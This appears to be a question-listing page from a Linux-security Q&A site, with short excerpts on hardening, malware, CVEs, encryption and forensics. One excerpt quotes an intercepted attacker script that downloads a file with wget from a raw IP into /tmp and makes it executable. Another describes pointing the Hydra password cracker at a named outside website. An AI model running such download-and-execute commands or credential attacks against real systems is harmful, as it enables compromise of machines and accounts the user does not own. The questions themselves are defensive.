Securing Linux systems and applications; understanding Linux security features.

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2
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3answers
1k views

How to detect the “Hello packets” sent by a wifi enabled smartphone

Actually I have a case where I should able to detect the mobile phones and get some data about the device available in my network range without connecting to the network. I have seen somewhere that a ...
10
votes
2answers
5k views

How to get MAC addresses of devices which are not in the network

Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux) I have been trying to get the MAC addresses of devices connected to my network through ...
1
vote
4answers
252 views

What needs to be focused on when hardening a LAMP stack? [closed]

I have a site running on a VPS. I set up the LAMP stack and a few other programs personally. This is only the second time I have set up a VPS and I am a bit worried about security. Are there things ...
5
votes
3answers
143 views

Best approach for restricting remote ssh session

Using the following files, I have attempted to restrict the SSH remote login. Having lack of knowledge in linux environment, I don't know the drawbacks and vulnerabilities between the following ways. ...
0
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1answer
246 views

MitM Attacks - Iptables?

I have looked for the answer to this question to no avail, apologies if I missed it. I would like to know how effective iptables would be against MitM attacks - in the following setup: ALLOW INPUT ...
11
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4answers
542 views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
11
votes
3answers
1k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
-2
votes
2answers
3k views

Hydra https-form-post

I have never experimented much with online password crackers. I attempted to use Hydra today on this website www.athena2.harker.org and I keep getting false positives. This is what I have done so ...
3
votes
1answer
182 views

Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc?

If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling ...
40
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8answers
8k views

Why am I allowed to access protected Windows files when I boot Ubuntu from USB?

How come I'm allowed to reboot a computer that I don't own, put in a USB, boot ubuntu from it and then access all files stored on the drives available (even critical files such as system files on C ...
1
vote
2answers
188 views

Storing database password in application

Let's say my application connects to my database. This requires me to have the username and database in my config as follows: postgresql://scott:tiger@localhost/mydatabase I have an automated ...
2
votes
2answers
323 views

Can a Ubuntu live usb be infected with spyware/ virus?

I have a Ubuntu 13.10 live usb. I gave it to somebody so that he can install ubuntu. Now I have received it back. I was wondering if it is possible to infect a live usb with spyware or virus ? If yes, ...
4
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2answers
696 views

What Ubuntu packages are still affected by gnutls bug CVE-2014-0092?

Right now the internet is abuzz with news about a severe breach in GnuTLS. An update to the relevant GnuTLS packages has already been released. But I am worried whether some packages might have had ...
0
votes
2answers
141 views

Debian missing security features?

Debian (stable) is a well respected server Linux distro. I was surprised to see that in their hardening walkthrough (https://wiki.debian.org/HardeningWalkthrough) they do not support position ...
1
vote
1answer
313 views

Why does Debian security guide recommend md5 hashed passwords?

I am reading the Debian Security How-To and came across a section that I found odd: it recommends to use md5 hashes for /etc/shadow passwords ...
1
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1answer
105 views

Fuzzing shared libraries

Are there any tools capable of automatically fuzzing Linux shared libraries, by automatically I mean detect exported function, determine function signature and finally inject random data ? Can ...
1
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0answers
47 views

Is CVE-2011-1571 fixed in tomcat?

I dont see any record of CVE-2011-1571 being fixed in tomcat based on ASF' security reports for tomcat itself. Usually they specify the CVE number and information about the fix. This was 3 years ago ...
0
votes
1answer
168 views

Secure installation of KVM VPS?

This question has also been asked on Server Fault, but was not taken seriously. I hope this is a better place for it I'm going to install Debian Wheezy on a KVM VPS. VNC access to console is enabled, ...
1
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0answers
27 views

Tracking checkins from generic users

Im trying to implement a better system to monitor checkins to our repository. We have some generic users everyone can use, I have recently disallowed them from checking in as those users however there ...
2
votes
2answers
274 views

How big is the threat of Desktop Linux malware? [closed]

Most malware one hears about on the news seems to fit into one of two categories: Windows viruses, trojans, rootkits etc. Linux server "worms", backdoors and similar How big is the threat of ...
1
vote
2answers
393 views

Directory traversal & default filesystem permissions (755) for web server

I'm trying to get a better understanding of the potential security holes my default filesystem permissions might be creating. It appears I am capable of traversing my filesystem, serving simple php ...
2
votes
1answer
28 views

bin_random_table and RANDOM_BOOT_ID

The Linux kernel has a few sysctrl's related to random devices packaged in a bin_random_table (http://lxr.free-electrons.com/source/kernel/sysctl_binary.c?v=3.2): static const struct bin_table ...
1
vote
0answers
220 views

Linux Physical memory analysis using hexeditor for Forensics

I am about to forensics investigation of a linux physical memory. I have dumped an ARM Linux which the profile is not listed in Volatility, so I could find the process and the latest command using ...
0
votes
2answers
152 views

Proxy traffic via MITM script

I want to log and modify outbound traffic on a Linux machine. I currently have one program that sends requests out to the internet, I would like to process these requests and their responses via ...
2
votes
2answers
2k views

How secure is EncFS compared to TrueCrypt?

If I choose the paranoia option for EncFS and for TrueCrypt I create containers using the encryption algorithm AES-Twofish-Serpent and the Hash Algorithm Whirlpool. Are both methods equally secure, ...
0
votes
1answer
157 views

Removing Unnecessary Services & Packages in a MySQL Ubuntu 12.04 Server [closed]

As part of hardening a MySQL 5.6 server running on Ubuntu 12.04 LTS, unnecessary services and packages will have to be removed. For a server that is serving only as a MySQL server, what services and ...
0
votes
1answer
68 views

ensuring that compiled (and signed) packages don't contain malicious code

I would like to understand how the packaged Linux distributions (i.e. Debian) ensure that their packages don't contain any malicious code. I know that packages are signed, and that I can download the ...
1
vote
1answer
73 views

Malware threats from other mounted hard drives

I am going to install Linux on an external hard drive and my internal hard drive is currently running Windows. When I boot to my Linux and I still have my windows hard drive mounted is it possible for ...
2
votes
1answer
203 views

Current industry standard key management solution for web app on linux host

The scenario: Data is sent to an application server and you want to selectively encrypt some data before sending it to a DB server for storage. All servers run some linux distro. This is a relatively ...
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votes
1answer
104 views

How can mp3blaster vulnerability affect my linux OS? [closed]

Mp3blaster is a terminal mp3 player running a UNIX-like operating system, e.g. Linux, Free/Net/OpenBSD, etc. I usually use this player for playing my music, but yesterday I found a blog which claim ...
1
vote
1answer
25 views

Is there an other place than the changelogs to see if a debian package is corrected or not?

I would like to know if there was an other place to see if a debian package is fixing a CVE than the changelog of the packet. For instance the packet bind9 1:9.7.2.dfsg.P3-1 is fixing the ...
1
vote
2answers
52 views

How can we know which debian package correct which CVE

We can found on the debian's website CPE/Aliases List, CVE List related to packages. But I can't figure out where can we know which patch of packages correct which vulnerabilities ? For instance : ...
1
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0answers
59 views

How do I determine whether a Linux-based router still has the default password? [duplicate]

My goal is to check if the password used by admin is the default password. I work on a Linux-based router. I know the password is stored as a hashed value in /etc/passwd. In generic Linux machines, ...
1
vote
1answer
338 views

How should IPSec be configured to provide a protection at least as good as my current Stunnel configuration?

In private network (as in using a private IP address space) at a cloud provider, other customers have access to the same private network. I have secured the communication between many hosts and ...
1
vote
4answers
125 views

Why can't just any program use his own file-system-access-system?

This may sound stupid for everyone who knows more than me about the UNIX-System and security in software: Imagine you have a program trying to cause harm by deleting files. You just do something like ...
0
votes
2answers
196 views

Malware getting root access via “sudo” and “sudo -s”

Actually, I'd like to ask 3 questions. But since they are very related, I'll ask them all here. I use Ubuntu 12.04.4. Situation 1: I use Terminator, in one of its terminals I launch sudo iotop ...
0
votes
1answer
117 views

Do the Linux binary blobs contain any intentional security holes?

This question covers the risks of accepting Binary blobs in one's distribution. This may be a very paranoid conspiracy question. But considering all the topics regarding the NSA in 2013 one cannot ...
2
votes
2answers
619 views

CentOS for security testing?

I am a QA Engineer, but have been tasked with creating a security testing platform. I have many years with Backtrack/Kali and my primary OS are Arch and Ubuntu. The Systems guys here gave me a CentOS ...
1
vote
1answer
216 views

how to protect my linux pc from wifi sniffing

I have a wifi shared connection with other flatmates and I'd like to know how can I protect my Debian pc from being sniffed. Should I use a wifi anti sniffer to detect if any wifi card is in ...
1
vote
1answer
68 views

How can I view the contents of a web page without running malicious code? [closed]

I received a strange email which has some strange URL in it. I would like to know what is "behind" the url, but without the risk of running anything malicious. How can see the contents of the URL, ...
3
votes
3answers
394 views

Protecting against Firewire DMA vulnerabilities in Linux

I know there have been questions on this in the past but they all seem quite outdated, or not that specifically relevant. I need to use a 1394(Firewire) connection, however am concerned with possible ...
4
votes
2answers
309 views

Erasing encryption (LUKS) keys before suspend-to-RAM?

I recently had been wondering if there is a way to erase my LUKS keys from RAM before I suspend my device (usually a laptop) to S3 mode. I am interested in a solution that would work for my / ...
1
vote
1answer
263 views

How do I find out if I'm connecting to a spoofed server after getting “The authenticity of host [hostname] can't be estabilished”?

I've been SSHing into my VPS for months with no problems and this morning it returned this familiar message: The authenticity of host '[hostname]' can't be established. ECDSA key fingerprint is ...
2
votes
0answers
1k views

What is a self-contained cross-platform encryption for USB drive? [closed]

I'm trying to find self-contained encryption solution for USB drives while at the same time being platform independent. For example, Windows' BitLocker only works on Windows and not on OS X or Linux. ...
1
vote
1answer
84 views

What are good ways to check for tampering/bad behaviour on a linux server that has already been set up but it's your first time logging into it

For this I am assuming we have a server that is of a client or a friend, so we the helper are not innately familiar with exactly how things should be be. What are good commands and ways to check to ...
1
vote
1answer
162 views

how to continuously caputre all my network traffic? [closed]

I've got a Linux desktop that will be a gateway between my private network and the open internet. I'd like it to capture and store all network traffic passing through it continuously, 24/7 (until the ...
0
votes
2answers
240 views

Does iptables work in kernel mode? [closed]

I am not sure about that. It should run in kernel mode in order to avoid some user-mode program to kill/suspend the firewall and do its dirty job. The malware would not be able to kill the firewall ...
24
votes
2answers
2k views

Do simple Linux servers really need a non-root user for security reasons?

Playing devil's advocate, Let's assume I purchase a Linux server from a hosting provider. I am given a password for the root user and am told I may login using SSH. The only purpose this server has ...
2
votes
1answer
294 views

How to measure the integrity of the OS (Linux)?

I am working on a project which requires Integrity measurement of OS (Linux). One way to do that is using IMA but I am not sure if it fits in the scenario below. The scenario of the project is some ...
1
vote
2answers
100 views

PHP Handlers and Caching

I recently began configuring our production server for a new Drupal site. Up till now, I've always used the default PHP handler mod_php, and removed write privileges for any directory/file except ...